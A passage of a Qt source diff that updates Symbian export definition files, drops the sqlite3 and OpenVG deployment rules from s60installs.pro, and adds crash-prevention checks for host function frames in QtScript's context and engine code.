+	?removeEntryFromRevertList@QDeclarativeState@@QAE_NPAVQObject@@ABVQString@@@Z @ 1881 NONAME ; bool QDeclarativeState::removeEntryFromRevertList(class QObject *, class QString const &)
+	?d_func@QDeclarativeDebugServer@@AAEPAVQDeclarativeDebugServerPrivate@@XZ @ 1882 NONAME ; class QDeclarativeDebugServerPrivate * QDeclarativeDebugServer::d_func(void)
+	?tr@QDeclarativeDebugServer@@SA?AVQString@@PBD0H@Z @ 1883 NONAME ; class QString QDeclarativeDebugServer::tr(char const *, char const *, int)
+	?implicitWidth@QDeclarativeItemPrivate@@UBEMXZ @ 1884 NONAME ; float QDeclarativeItemPrivate::implicitWidth(void) const
+	??_EQDeclarativeRefCount@@UAE@I@Z @ 1885 NONAME ; QDeclarativeRefCount::~QDeclarativeRefCount(unsigned int)
+	??0QDeclarativeRefCount@@QAE@XZ @ 1886 NONAME ; QDeclarativeRefCount::QDeclarativeRefCount(void)
+	??1QDeclarativeRefCount@@UAE@XZ @ 1887 NONAME ; QDeclarativeRefCount::~QDeclarativeRefCount(void)
+	?addref@QDeclarativeRefCount@@QAEXXZ @ 1888 NONAME ; void QDeclarativeRefCount::addref(void)
+	?release@QDeclarativeRefCount@@QAEXXZ @ 1889 NONAME ; void QDeclarativeRefCount::release(void)
 
diff --git a/src/s60installs/bwins/QtGuiu.def b/src/s60installs/bwins/QtGuiu.def
index 322d88b..9b4c0f7 100644
--- a/src/s60installs/bwins/QtGuiu.def
+++ b/src/s60installs/bwins/QtGuiu.def
@@ -13142,4 +13142,10 @@ EXPORTS
 	?viewportSize@QScrollPrepareEvent@@QBE?AVQSizeF@@XZ @ 13141 NONAME ; class QSizeF QScrollPrepareEvent::viewportSize(void) const
 	?staticMetaObject@QScroller@@2UQMetaObject@@B @ 13142 NONAME ; struct QMetaObject const QScroller::staticMetaObject
 	?staticMetaObject@QFlickGesture@@2UQMetaObject@@B @ 13143 NONAME ; struct QMetaObject const QFlickGesture::staticMetaObject
-
+	?isDragEnabled@QTextControl@@QBE_NXZ @ 13144 NONAME ; bool QTextControl::isDragEnabled(void) const
+	?setWordSelectionEnabled@QTextControl@@QAEX_N@Z @ 13145 NONAME ; void QTextControl::setWordSelectionEnabled(bool)
+	?setDragEnabled@QTextControl@@QAEX_N@Z @ 13146 NONAME ; void QTextControl::setDragEnabled(bool)
+	?isWordSelectionEnabled@QTextControl@@QBE_NXZ @ 13147 NONAME ; bool QTextControl::isWordSelectionEnabled(void) const
+	?ProcessCommandParametersL@QS60MainAppUi@@UAEHW4TApaCommand@@AAV?$TBuf@$0BAA@@@ABVTDesC8@@@Z @ 13148 NONAME ; int QS60MainAppUi::ProcessCommandParametersL(enum TApaCommand, class TBuf<256> &, class TDesC8 const &)
+	?openFile@QFileOpenEvent@@QBE_NAAVQFile@@V?$QFlags@W4OpenModeFlag@QIODevice@@@@@Z @ 13149 NONAME ; bool QFileOpenEvent::openFile(class QFile &, class QFlags<enum QIODevice::OpenModeFlag>) const
+	??0QFileOpenEvent@@QAE@ABVRFile@@@Z @ 13150 NONAME ; QFileOpenEvent::QFileOpenEvent(class RFile const &)
diff --git a/src/s60installs/bwins/QtScriptu.def b/src/s60installs/bwins/QtScriptu.def
index 9d998ca..02a0819 100644
--- a/src/s60installs/bwins/QtScriptu.def
+++ b/src/s60installs/bwins/QtScriptu.def
@@ -403,4 +403,6 @@ EXPORTS
 	??0Value@QScriptDeclarativeClass@@QAE@PAVQScriptContext@@H@Z @ 402 NONAME ; QScriptDeclarativeClass::Value::Value(class QScriptContext *, int)
 	??0PersistentIdentifier@QScriptDeclarativeClass@@AAE@PAVQScriptEnginePrivate@@@Z @ 403 NONAME ; QScriptDeclarativeClass::PersistentIdentifier::PersistentIdentifier(class QScriptEnginePrivate *)
 	?compare@QScriptDeclarativeClass@@UAE_NPAUObject@1@0@Z @ 404 NONAME ; bool QScriptDeclarativeClass::compare(struct QScriptDeclarativeClass::Object *, struct QScriptDeclarativeClass::Object *)
+	?toString@PersistentIdentifier@QScriptDeclarativeClass@@QBE?AVQString@@XZ @ 405 NONAME ; class QString QScriptDeclarativeClass::PersistentIdentifier::toString(void) const
+	?startsWithUpper@QScriptDeclarativeClass@@QAE_NABQAX@Z @ 406 NONAME ; bool QScriptDeclarativeClass::startsWithUpper(void * const const &)
 
diff --git a/src/s60installs/eabi/QtCoreu.def b/src/s60installs/eabi/QtCoreu.def
index 0488d0c..207447f 100644
--- a/src/s60installs/eabi/QtCoreu.def
+++ b/src/s60installs/eabi/QtCoreu.def
@@ -3804,4 +3804,6 @@ EXPORTS
 	_ZN23QCoreApplicationPrivate18symbianCommandLineEv @ 3803 NONAME
 	_ZNK16QXmlStreamWriter8hasErrorEv @ 3804 NONAME
 	_ZNK13QElapsedTimer12nsecsElapsedEv @ 3805 NONAME
+	_ZNK11QMetaMethod8revisionEv @ 3806 NONAME
+	_ZNK13QMetaProperty8revisionEv @ 3807 NONAME
 
diff --git a/src/s60installs/eabi/QtDeclarativeu.def b/src/s60installs/eabi/QtDeclarativeu.def
index b0efab4..95180d4 100644
--- a/src/s60installs/eabi/QtDeclarativeu.def
+++ b/src/s60installs/eabi/QtDeclarativeu.def
@@ -19,24 +19,24 @@ EXPORTS
 	_ZN15QPacketAutoSendD0Ev @ 18 NONAME ABSENT
 	_ZN15QPacketAutoSendD1Ev @ 19 NONAME ABSENT
 	_ZN15QPacketAutoSendD2Ev @ 20 NONAME ABSENT
-	_ZN15QPacketProtocol11qt_metacallEN11QMetaObject4CallEiPPv @ 21 NONAME ABSENT
-	_ZN15QPacketProtocol11qt_metacastEPKc @ 22 NONAME ABSENT
-	_ZN15QPacketProtocol13invalidPacketEv @ 23 NONAME ABSENT
-	_ZN15QPacketProtocol13packetWrittenEv @ 24 NONAME ABSENT
-	_ZN15QPacketProtocol16staticMetaObjectE @ 25 NONAME DATA 16 ABSENT
-	_ZN15QPacketProtocol19getStaticMetaObjectEv @ 26 NONAME ABSENT
-	_ZN15QPacketProtocol20setMaximumPacketSizeEi @ 27 NONAME ABSENT
-	_ZN15QPacketProtocol4readEv @ 28 NONAME ABSENT
-	_ZN15QPacketProtocol4sendERK7QPacket @ 29 NONAME ABSENT
-	_ZN15QPacketProtocol4sendEv @ 30 NONAME ABSENT
-	_ZN15QPacketProtocol5clearEv @ 31 NONAME ABSENT
-	_ZN15QPacketProtocol6deviceEv @ 32 NONAME ABSENT
-	_ZN15QPacketProtocol9readyReadEv @ 33 NONAME ABSENT
-	_ZN15QPacketProtocolC1EP9QIODeviceP7QObject @ 34 NONAME ABSENT
-	_ZN15QPacketProtocolC2EP9QIODeviceP7QObject @ 35 NONAME ABSENT
-	_ZN15QPacketProtocolD0Ev @ 36 NONAME ABSENT
-	_ZN15QPacketProtocolD1Ev @ 37 NONAME ABSENT
-	_ZN15QPacketProtocolD2Ev @ 38 NONAME ABSENT
+	_ZN15QPacketProtocol11qt_metacallEN11QMetaObject4CallEiPPv @ 21 NONAME
+	_ZN15QPacketProtocol11qt_metacastEPKc @ 22 NONAME
+	_ZN15QPacketProtocol13invalidPacketEv @ 23 NONAME
+	_ZN15QPacketProtocol13packetWrittenEv @ 24 NONAME
+	_ZN15QPacketProtocol16staticMetaObjectE @ 25 NONAME DATA 16
+	_ZN15QPacketProtocol19getStaticMetaObjectEv @ 26 NONAME
+	_ZN15QPacketProtocol20setMaximumPacketSizeEi @ 27 NONAME
+	_ZN15QPacketProtocol4readEv @ 28 NONAME
+	_ZN15QPacketProtocol4sendERK7QPacket @ 29 NONAME
+	_ZN15QPacketProtocol4sendEv @ 30 NONAME
+	_ZN15QPacketProtocol5clearEv @ 31 NONAME
+	_ZN15QPacketProtocol6deviceEv @ 32 NONAME
+	_ZN15QPacketProtocol9readyReadEv @ 33 NONAME
+	_ZN15QPacketProtocolC1EP9QIODeviceP7QObject @ 34 NONAME
+	_ZN15QPacketProtocolC2EP9QIODeviceP7QObject @ 35 NONAME
+	_ZN15QPacketProtocolD0Ev @ 36 NONAME
+	_ZN15QPacketProtocolD1Ev @ 37 NONAME
+	_ZN15QPacketProtocolD2Ev @ 38 NONAME
 	_ZN16QDeclarativeInfoC1EP23QDeclarativeInfoPrivate @ 39 NONAME
 	_ZN16QDeclarativeInfoC1ERKS_ @ 40 NONAME
 	_ZN16QDeclarativeInfoC2EP23QDeclarativeInfoPrivate @ 41 NONAME
@@ -241,8 +241,8 @@ EXPORTS
 	_ZN18QDeclarativePixmap23connectDownloadProgressEP7QObjecti @ 240 NONAME
 	_ZN18QDeclarativePixmap4loadEP18QDeclarativeEngineRK4QUrl @ 241 NONAME
 	_ZN18QDeclarativePixmap4loadEP18QDeclarativeEngineRK4QUrlRK5QSize @ 242 NONAME
-	_ZN18QDeclarativePixmap4loadEP18QDeclarativeEngineRK4QUrlRK5QSizeb @ 243 NONAME
-	_ZN18QDeclarativePixmap4loadEP18QDeclarativeEngineRK4QUrlb @ 244 NONAME
+	_ZN18QDeclarativePixmap4loadEP18QDeclarativeEngineRK4QUrlRK5QSizeb @ 243 NONAME ABSENT
+	_ZN18QDeclarativePixmap4loadEP18QDeclarativeEngineRK4QUrlb @ 244 NONAME ABSENT
 	_ZN18QDeclarativePixmap5clearEP7QObject @ 245 NONAME
 	_ZN18QDeclarativePixmap5clearEv @ 246 NONAME
 	_ZN18QDeclarativePixmap9setPixmapERK7QPixmap @ 247 NONAME
@@ -1059,20 +1059,20 @@ EXPORTS
 	_ZN39QDeclarativeNetworkAccessManagerFactoryD0Ev @ 1058 NONAME
 	_ZN39QDeclarativeNetworkAccessManagerFactoryD1Ev @ 1059 NONAME
 	_ZN39QDeclarativeNetworkAccessManagerFactoryD2Ev @ 1060 NONAME
-	_ZN7QPacket5clearEv @ 1061 NONAME ABSENT
-	_ZN7QPacketC1ERK10QByteArray @ 1062 NONAME ABSENT
-	_ZN7QPacketC1ERKS_ @ 1063 NONAME ABSENT
-	_ZN7QPacketC1Ev @ 1064 NONAME ABSENT
-	_ZN7QPacketC2ERK10QByteArray @ 1065 NONAME ABSENT
-	_ZN7QPacketC2ERKS_ @ 1066 NONAME ABSENT
-	_ZN7QPacketC2Ev @ 1067 NONAME ABSENT
-	_ZN7QPacketD0Ev @ 1068 NONAME ABSENT
-	_ZN7QPacketD1Ev @ 1069 NONAME ABSENT
-	_ZN7QPacketD2Ev @ 1070 NONAME ABSENT
+	_ZN7QPacket5clearEv @ 1061 NONAME
+	_ZN7QPacketC1ERK10QByteArray @ 1062 NONAME
+	_ZN7QPacketC1ERKS_ @ 1063 NONAME
+	_ZN7QPacketC1Ev @ 1064 NONAME
+	_ZN7QPacketC2ERK10QByteArray @ 1065 NONAME
+	_ZN7QPacketC2ERKS_ @ 1066 NONAME
+	_ZN7QPacketC2Ev @ 1067 NONAME
+	_ZN7QPacketD0Ev @ 1068 NONAME
+	_ZN7QPacketD1Ev @ 1069 NONAME
+	_ZN7QPacketD2Ev @ 1070 NONAME
 	_ZNK15QDeclarativePen10metaObjectEv @ 1071 NONAME ABSENT
-	_ZNK15QPacketProtocol10metaObjectEv @ 1072 NONAME ABSENT
-	_ZNK15QPacketProtocol16packetsAvailableEv @ 1073 NONAME ABSENT
-	_ZNK15QPacketProtocol17maximumPacketSizeEv @ 1074 NONAME ABSENT
+	_ZNK15QPacketProtocol10metaObjectEv @ 1072 NONAME
+	_ZNK15QPacketProtocol16packetsAvailableEv @ 1073 NONAME
+	_ZNK15QPacketProtocol17maximumPacketSizeEv @ 1074 NONAME
 	_ZNK16QDeclarativeItem10metaObjectEv @ 1075 NONAME
 	_ZNK16QDeclarativeItem10parentItemEv @ 1076 NONAME
 	_ZNK16QDeclarativeItem10widthValidEv @ 1077 NONAME
@@ -1524,10 +1524,10 @@ EXPORTS
 	_ZNK36QDeclarativeDomValueValueInterceptor6objectEv @ 1523 NONAME ABSENT
 	_ZNK38QDeclarativeDebugObjectExpressionWatch10expressionEv @ 1524 NONAME ABSENT
 	_ZNK38QDeclarativeDebugObjectExpressionWatch10metaObjectEv @ 1525 NONAME ABSENT
-	_ZNK7QPacket7isEmptyEv @ 1526 NONAME ABSENT
+	_ZNK7QPacket7isEmptyEv @ 1526 NONAME
 	_ZTI15QDeclarativePen @ 1527 NONAME ABSENT
 	_ZTI15QPacketAutoSend @ 1528 NONAME ABSENT
-	_ZTI15QPacketProtocol @ 1529 NONAME ABSENT
+	_ZTI15QPacketProtocol @ 1529 NONAME
 	_ZTI16QDeclarativeItem @ 1530 NONAME
 	_ZTI16QDeclarativeText @ 1531 NONAME ABSENT
 	_ZTI16QDeclarativeView @ 1532 NONAME
@@ -1574,10 +1574,10 @@ EXPORTS
 	_ZTI36QDeclarativePropertyValueInterceptor @ 1573 NONAME
 	_ZTI38QDeclarativeDebugObjectExpressionWatch @ 1574 NONAME ABSENT
 	_ZTI39QDeclarativeNetworkAccessManagerFactory @ 1575 NONAME
-	_ZTI7QPacket @ 1576 NONAME ABSENT
+	_ZTI7QPacket @ 1576 NONAME
 	_ZTV15QDeclarativePen @ 1577 NONAME ABSENT
 	_ZTV15QPacketAutoSend @ 1578 NONAME ABSENT
-	_ZTV15QPacketProtocol @ 1579 NONAME ABSENT
+	_ZTV15QPacketProtocol @ 1579 NONAME
 	_ZTV16QDeclarativeItem @ 1580 NONAME
 	_ZTV16QDeclarativeText @ 1581 NONAME ABSENT
 	_ZTV16QDeclarativeView @ 1582 NONAME
@@ -1623,7 +1623,7 @@ EXPORTS
 	_ZTV36QDeclarativePropertyValueInterceptor @ 1622 NONAME
 	_ZTV38QDeclarativeDebugObjectExpressionWatch @ 1623 NONAME ABSENT
 	_ZTV39QDeclarativeNetworkAccessManagerFactory @ 1624 NONAME
-	_ZTV7QPacket @ 1625 NONAME ABSENT
+	_ZTV7QPacket @ 1625 NONAME
 	_ZThn16_N16QDeclarativeItem10classBeginEv @ 1626 NONAME
 	_ZThn16_N16QDeclarativeItem17componentCompleteEv @ 1627 NONAME
 	_ZThn16_N16QDeclarativeItemD0Ev @ 1628 NONAME
@@ -1677,9 +1677,9 @@ EXPORTS
 	_ZN23QDeclarativeEngineDebug10newObjectsEv @ 1676 NONAME ABSENT
 	_ZN17QDeclarativeState20addEntryToRevertListERK18QDeclarativeAction @ 1677 NONAME
 	_ZN17QDeclarativeState22addEntriesToRevertListERK5QListI18QDeclarativeActionE @ 1678 NONAME
-	_ZN17QDeclarativeState23changeValueInRevertListEP7QObjectRK10QByteArrayRK8QVariant @ 1679 NONAME
-	_ZN17QDeclarativeState25changeBindingInRevertListEP7QObjectRK10QByteArrayP27QDeclarativeAbstractBinding @ 1680 NONAME
-	_ZN17QDeclarativeState25removeEntryFromRevertListEP7QObjectRK10QByteArray @ 1681 NONAME
+	_ZN17QDeclarativeState23changeValueInRevertListEP7QObjectRK10QByteArrayRK8QVariant @ 1679 NONAME ABSENT
+	_ZN17QDeclarativeState25changeBindingInRevertListEP7QObjectRK10QByteArrayP27QDeclarativeAbstractBinding @ 1680 NONAME ABSENT
+	_ZN17QDeclarativeState25removeEntryFromRevertListEP7QObjectRK10QByteArray @ 1681 NONAME ABSENT
 	_ZN17QDeclarativeState30removeAllEntriesFromRevertListEP7QObject @ 1682 NONAME
 	_ZN23QDeclarativeItemPrivate10data_clearEP24QDeclarativeListPropertyI7QObjectE @ 1683 NONAME
 	_ZN23QDeclarativeItemPrivate10data_countEP24QDeclarativeListPropertyI7QObjectE @ 1684 NONAME
@@ -1706,9 +1706,9 @@ EXPORTS
 	_ZN27QDeclarativePropertyChangesD1Ev @ 1705 NONAME ABSENT
 	_ZN27QDeclarativePropertyChangesD2Ev @ 1706 NONAME ABSENT
 	_ZNK17QDeclarativeState13isStateActiveEv @ 1707 NONAME
-	_ZNK17QDeclarativeState17valueInRevertListEP7QObjectRK10QByteArray @ 1708 NONAME
-	_ZNK17QDeclarativeState19bindingInRevertListEP7QObjectRK10QByteArray @ 1709 NONAME
-	_ZNK17QDeclarativeState28containsPropertyInRevertListEP7QObjectRK10QByteArray @ 1710 NONAME
+	_ZNK17QDeclarativeState17valueInRevertListEP7QObjectRK10QByteArray @ 1708 NONAME ABSENT
+	_ZNK17QDeclarativeState19bindingInRevertListEP7QObjectRK10QByteArray @ 1709 NONAME ABSENT
+	_ZNK17QDeclarativeState28containsPropertyInRevertListEP7QObjectRK10QByteArray @ 1710 NONAME ABSENT
 	_ZNK26QDeclarativeStateOperation5stateEv @ 1711 NONAME
 	_ZNK27QDeclarativePropertyChanges10expressionERK10QByteArray @ 1712 NONAME ABSENT
 	_ZNK27QDeclarativePropertyChanges10isExplicitEv @ 1713 NONAME ABSENT
@@ -1885,4 +1885,49 @@ EXPORTS
 	_ZThn8_N29QDeclarativeAbstractAnimationD1Ev @ 1884 NONAME ABSENT
 	_ZN23QDeclarativeDebugHelper15enableDebuggingEv @ 1885 NONAME
 	_ZN27QDeclarativePropertyPrivate7connectEPK7QObjectiS2_iiPi @ 1886 NONAME ABSENT
+	_ZN16QDeclarativeItem20implicitWidthChangedEv @ 1887 NONAME
+	_ZN16QDeclarativeItem21implicitHeightChangedEv @ 1888 NONAME
+	_ZN17QDeclarativeState23changeValueInRevertListEP7QObjectRK7QStringRK8QVariant @ 1889 NONAME
+	_ZN17QDeclarativeState25changeBindingInRevertListEP7QObjectRK7QStringP27QDeclarativeAbstractBinding @ 1890 NONAME
+	_ZN17QDeclarativeState25removeEntryFromRevertListEP7QObjectRK7QString @ 1891 NONAME
+	_ZN18QDeclarativePixmap4loadEP18QDeclarativeEngineRK4QUrl6QFlagsINS_6OptionEE @ 1892 NONAME
+	_ZN18QDeclarativePixmap4loadEP18QDeclarativeEngineRK4QUrlRK5QSize6QFlagsINS_6OptionEE @ 1893 NONAME
+	_ZN21QDeclarativeComponent12createObjectEP7QObjectRK12QScriptValue @ 1894 NONAME
+	_ZN22QDeclarativeExpressionC1EP23QDeclarativeContextDataP7QObjectRK12QScriptValueR29QDeclarativeExpressionPrivate @ 1895 NONAME
+	_ZN22QDeclarativeExpressionC2EP23QDeclarativeContextDataP7QObjectRK12QScriptValueR29QDeclarativeExpressionPrivate @ 1896 NONAME
+	_ZN23QDeclarativeDebugServer10addServiceEP24QDeclarativeDebugService @ 1897 NONAME
+	_ZN23QDeclarativeDebugServer11qt_metacallEN11QMetaObject4CallEiPPv @ 1898 NONAME
+	_ZN23QDeclarativeDebugServer11qt_metacastEPKc @ 1899 NONAME
+	_ZN23QDeclarativeDebugServer11sendMessageEP24QDeclarativeDebugServiceRK10QByteArray @ 1900 NONAME
+	_ZN23QDeclarativeDebugServer13removeServiceEP24QDeclarativeDebugService @ 1901 NONAME
+	_ZN23QDeclarativeDebugServer14receiveMessageERK10QByteArray @ 1902 NONAME
+	_ZN23QDeclarativeDebugServer16staticMetaObjectE @ 1903 NONAME DATA 16
+	_ZN23QDeclarativeDebugServer19getStaticMetaObjectEv @ 1904 NONAME
+	_ZN23QDeclarativeDebugServer8instanceEv @ 1905 NONAME
+	_ZN23QDeclarativeDebugServerC1Ev @ 1906 NONAME
+	_ZN23QDeclarativeDebugServerC2Ev @ 1907 NONAME
+	_ZN23QDeclarativeItemPrivate20implicitWidthChangedEv @ 1908 NONAME
+	_ZN23QDeclarativeItemPrivate21implicitHeightChangedEv @ 1909 NONAME
+	_ZN24QDeclarativeCustomParser14rewriteBindingERK7QStringRK10QByteArray @ 1910 NONAME
+	_ZNK17QDeclarativeState17valueInRevertListEP7QObjectRK7QString @ 1911 NONAME
+	_ZNK17QDeclarativeState19bindingInRevertListEP7QObjectRK7QString @ 1912 NONAME
+	_ZNK17QDeclarativeState28containsPropertyInRevertListEP7QObjectRK7QString @ 1913 NONAME
+	_ZNK23QDeclarativeDebugServer10metaObjectEv @ 1914 NONAME
+	_ZNK23QDeclarativeDebugServer12serviceNamesEv @ 1915 NONAME
+	_ZNK23QDeclarativeDebugServer18hasDebuggingClientEv @ 1916 NONAME
+	_ZNK23QDeclarativeDebugServer8servicesEv @ 1917 NONAME
+	_ZNK23QDeclarativeItemPrivate13implicitWidthEv @ 1918 NONAME
+	_ZNK23QDeclarativeItemPrivate14implicitHeightEv @ 1919 NONAME
+	_ZNK7QPacket4dataEv @ 1920 NONAME
+	_ZTI23QDeclarativeDebugServer @ 1921 NONAME
+	_ZTV23QDeclarativeDebugServer @ 1922 NONAME
+	_ZN20QDeclarativeRefCount6addrefEv @ 1923 NONAME
+	_ZN20QDeclarativeRefCount7releaseEv @ 1924 NONAME
+	_ZN20QDeclarativeRefCountC1Ev @ 1925 NONAME
+	_ZN20QDeclarativeRefCountC2Ev @ 1926 NONAME
+	_ZN20QDeclarativeRefCountD0Ev @ 1927 NONAME
+	_ZN20QDeclarativeRefCountD1Ev @ 1928 NONAME
+	_ZN20QDeclarativeRefCountD2Ev @ 1929 NONAME
+	_ZTI20QDeclarativeRefCount @ 1930 NONAME
+	_ZTV20QDeclarativeRefCount @ 1931 NONAME
 
diff --git a/src/s60installs/eabi/QtGuiu.def b/src/s60installs/eabi/QtGuiu.def
index 8064fa3..722dee8 100644
--- a/src/s60installs/eabi/QtGuiu.def
+++ b/src/s60installs/eabi/QtGuiu.def
@@ -12227,10 +12227,10 @@ EXPORTS
 	_ZTV19QBlitterPaintEngine @ 12226 NONAME
 	_ZTV20QBlittablePixmapData @ 12227 NONAME
 	_Zls6QDebugPK13QSymbianEvent @ 12228 NONAME
-	_ZN13QS60MainAppUi25ProcessCommandParametersLE11TApaCommandR4TBufILi256EERK6TDesC8 @ 12229 NONAME ABSENT
-	_ZN14QFileOpenEventC1ERK5RFile @ 12230 NONAME ABSENT
-	_ZN14QFileOpenEventC2ERK5RFile @ 12231 NONAME ABSENT
-	_ZNK14QFileOpenEvent8openFileER5QFile6QFlagsIN9QIODevice12OpenModeFlagEE @ 12232 NONAME ABSENT
+	_ZN13QS60MainAppUi25ProcessCommandParametersLE11TApaCommandR4TBufILi256EERK6TDesC8 @ 12229 NONAME
+	_ZN14QFileOpenEventC1ERK5RFile @ 12230 NONAME
+	_ZN14QFileOpenEventC2ERK5RFile @ 12231 NONAME
+	_ZNK14QFileOpenEvent8openFileER5QFile6QFlagsIN9QIODevice12OpenModeFlagEE @ 12232 NONAME
 	_ZN11QFontEngine16alphaMapForGlyphEj6QFixed @ 12233 NONAME
 	_ZN11QFontEngine16alphaMapForGlyphEj6QFixedRK10QTransform @ 12234 NONAME
 	_Z32qGamma_correct_back_to_linear_csP6QImage @ 12235 NONAME
@@ -12333,4 +12333,8 @@ EXPORTS
 	_ZTV19QScrollPrepareEvent @ 12332 NONAME
 	_ZTV19QScrollerProperties @ 12333 NONAME
 	_ZTV9QScroller @ 12334 NONAME
+	_ZN12QTextControl14setDragEnabledEb @ 12335 NONAME
+	_ZN12QTextControl23setWordSelectionEnabledEb @ 12336 NONAME
+	_ZNK12QTextControl13isDragEnabledEv @ 12337 NONAME
+	_ZNK12QTextControl22isWordSelectionEnabledEv @ 12338 NONAME
 
diff --git a/src/s60installs/eabi/QtScriptu.def b/src/s60installs/eabi/QtScriptu.def
index b26f9c7..f7da892 100644
--- a/src/s60installs/eabi/QtScriptu.def
+++ b/src/s60installs/eabi/QtScriptu.def
@@ -441,4 +441,6 @@ EXPORTS
 	_ZN25QScriptEngineAgentPrivate18didReachBreakpointERKN5QTJSC17DebuggerCallFrameEii @ 440 NONAME
 	_ZNK23QScriptDeclarativeClass12supportsCallEv @ 441 NONAME
 	_ZNK23QScriptDeclarativeClass5Value13toScriptValueEP13QScriptEngine @ 442 NONAME
+	_ZN23QScriptDeclarativeClass15startsWithUpperERKPv @ 443 NONAME
+	_ZNK23QScriptDeclarativeClass20PersistentIdentifier8toStringEv @ 444 NONAME
 
diff --git a/src/s60installs/s60installs.pro b/src/s60installs/s60installs.pro
index cd3102e..1c91422 100644
--- a/src/s60installs/s60installs.pro
+++ b/src/s60installs/s60installs.pro
@@ -11,23 +11,6 @@ symbian: {
 
     isEmpty(QT_LIBINFIX) {
         TARGET.UID3 = 0x2001E61C
-
-        # Sqlite3 is expected to be already found on phone if infixed configuration is built.
-        # It is also expected that devices newer than those based on S60 5.0 all have sqlite3.dll.
-        contains(S60_VERSION, 3.1)|contains(S60_VERSION, 3.2)|contains(S60_VERSION, 5.0) {
-            BLD_INF_RULES.prj_exports += \
-                "sqlite3.sis /epoc32/data/qt/sis/sqlite3.sis"
-            symbian-abld|symbian-sbsv2 {
-                sqlitedeployment = \
-                    "; Deploy sqlite onto phone that does not have it already" \
-                    "@\"$${EPOCROOT}epoc32/data/qt/sis/sqlite3.sis\", (0x2002af5f)"
-            } else {
-                sqlitedeployment = \
-                    "; Deploy sqlite onto phone that does not have it already" \
-                    "@\"$${PWD}/sqlite3.sis\", (0x2002af5f)"
-            }
-            qtlibraries.pkg_postrules += sqlitedeployment
-        }
     } else {
         # Always use experimental UID for infixed configuration to avoid UID clash
         TARGET.UID3 = 0xE001E61C
@@ -92,7 +75,7 @@ symbian: {
 
     vendorinfo = \
         "; Localised Vendor name" \
-        "%{\"Nokia, Qt\"}" \
+        "%{\"Nokia\"}" \
         " " \
         "; Unique Vendor name" \
         ":\"Nokia, Qt\"" \
@@ -183,10 +166,6 @@ symbian: {
     contains(QT_CONFIG, openvg) {
         qtlibraries.files += $$QMAKE_LIBDIR_QT/QtOpenVG$${QT_LIBINFIX}.dll
         graphicssystems_plugins.files += $$QT_BUILD_TREE/plugins/graphicssystems/qvggraphicssystem$${QT_LIBINFIX}.dll
-        # OpenVG requires Symbian^3 or later
-        pkg_platform_dependencies = \
-            "[0x20022E6D],0,0,0,{\"S60ProductID\"}" \
-            "[0x20032DE7],0,0,0,{\"S60ProductID\"}"
     }
 
     contains(QT_CONFIG, opengl) {
diff --git a/src/script/api/qscriptcontext.cpp b/src/script/api/qscriptcontext.cpp
index 59ea52d..2468a46 100644
--- a/src/script/api/qscriptcontext.cpp
+++ b/src/script/api/qscriptcontext.cpp
@@ -299,6 +299,12 @@ QScriptValue QScriptContext::argumentsObject() const
 
     //for a js function
     if (frame->codeBlock() && frame->callee()) {
+        if (!QScriptEnginePrivate::hasValidCodeBlockRegister(frame)) {
+            // We have a built-in JS host call.
+            // codeBlock is needed by retrieveArguments(), but since it
+            // contains junk, we would crash. Return an invalid value for now.
+            return QScriptValue();
+        }
         JSC::JSValue result = frame->interpreter()->retrieveArguments(frame, JSC::asFunction(frame->callee()));
         return QScript::scriptEngineFromExec(frame)->scriptValueFromJSCValue(result);
     }
@@ -309,7 +315,8 @@ QScriptValue QScriptContext::argumentsObject() const
     }
 
     //for a native function
-    if (!frame->optionalCalleeArguments()) {
+    if (!frame->optionalCalleeArguments()
+        && QScriptEnginePrivate::hasValidCodeBlockRegister(frame)) { // Make sure we don't go here for host JSFunctions
         Q_ASSERT(frame->argumentCount() > 0); //we need at least 'this' otherwise we'll crash later
         JSC::Arguments* arguments = new (&frame->globalData())JSC::Arguments(frame, JSC::Arguments::NoParameters);
         frame->setCalleeArguments(arguments);
diff --git a/src/script/api/qscriptcontextinfo.cpp b/src/script/api/qscriptcontextinfo.cpp
index db6b2d7..0f9de1d 100644
--- a/src/script/api/qscriptcontextinfo.cpp
+++ b/src/script/api/qscriptcontextinfo.cpp
@@ -157,7 +157,7 @@ QScriptContextInfoPrivate::QScriptContextInfoPrivate(const QScriptContext *conte
 
             JSC::Instruction *returnPC = rewindContext->returnPC();
             JSC::CodeBlock *codeBlock = frame->codeBlock();
-            if (returnPC && codeBlock) {
+            if (returnPC && codeBlock && QScriptEnginePrivate::hasValidCodeBlockRegister(frame)) {
 #if ENABLE(JIT)
                 unsigned bytecodeOffset = codeBlock->getBytecodeIndex(frame, JSC::ReturnAddressPtr(returnPC));
 #else
@@ -171,7 +171,7 @@ QScriptContextInfoPrivate::QScriptContextInfoPrivate(const QScriptContext *conte
 
     // Get the filename and the scriptId:
     JSC::CodeBlock *codeBlock = frame->codeBlock();
-    if (codeBlock) {
+    if (codeBlock && QScriptEnginePrivate::hasValidCodeBlockRegister(frame)) {
            JSC::SourceProvider *source = codeBlock->source();
            scriptId = source->asID();
            fileName = source->url();
@@ -181,7 +181,8 @@ QScriptContextInfoPrivate::QScriptContextInfoPrivate(const QScriptContext *conte
     JSC::JSObject *callee = frame->callee();
     if (callee && callee->inherits(&JSC::InternalFunction::info))
         functionName = JSC::asInternalFunction(callee)->name(frame);
-    if (callee && callee->inherits(&JSC::JSFunction::info)) {
+    if (callee && callee->inherits(&JSC::JSFunction::info)
+        && !JSC::asFunction(callee)->isHostFunction()) {
         functionType = QScriptContextInfo::ScriptFunction;
         JSC::FunctionExecutable *body = JSC::asFunction(callee)->jsExecutable();
         functionStartLineNumber = body->lineNo();
diff --git a/src/script/api/qscriptengine.cpp b/src/script/api/qscriptengine.cpp
index 004e3a5..14ab2eb 100644
--- a/src/script/api/qscriptengine.cpp
+++ b/src/script/api/qscriptengine.cpp
@@ -858,7 +858,8 @@ JSC::JSValue JSC_HOST_CALL functionQsTr(JSC::ExecState *exec, JSC::JSObject*, JS
     {
         JSC::ExecState *frame = exec->callerFrame()->removeHostCallFrameFlag();
         while (frame) {
-            if (frame->codeBlock() && frame->codeBlock()->source()
+            if (frame->codeBlock() && QScriptEnginePrivate::hasValidCodeBlockRegister(frame)
+                && frame->codeBlock()->source()
                 && !frame->codeBlock()->source()->url().isEmpty()) {
                 context = engine->translationContextFromUrl(frame->codeBlock()->source()->url());
                 break;
@@ -1022,6 +1023,7 @@ QScriptEnginePrivate::~QScriptEnginePrivate()
     while (!ownedAgents.isEmpty())
         delete ownedAgents.takeFirst();
 
+    detachAllRegisteredScriptPrograms();
     detachAllRegisteredScriptValues();
     detachAllRegisteredScriptStrings();
     qDeleteAll(m_qobjectData);
